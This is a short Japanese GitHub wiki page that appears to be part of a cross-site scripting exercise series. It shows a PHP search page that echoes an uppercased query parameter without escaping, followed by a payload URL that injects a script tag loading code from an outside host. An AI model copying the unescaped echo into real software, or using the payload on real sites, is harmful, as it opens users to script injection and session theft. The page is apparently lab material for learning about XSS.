クロスサイトスクリプティング 10 - yujitounai/helloworld GitHub Wiki
大文字になるXSS
<div class="box">
<form method="get" action="">search
<input name="word" type="text">
<input type="submit">
</form>
</div>
<?php
$word=strtoupper(filter_input(INPUT_GET, 'word'));
echo "<h1>".$word."</h1>";
?>
xss-10.php?word=<script%20src=//bogus.jp/x></script>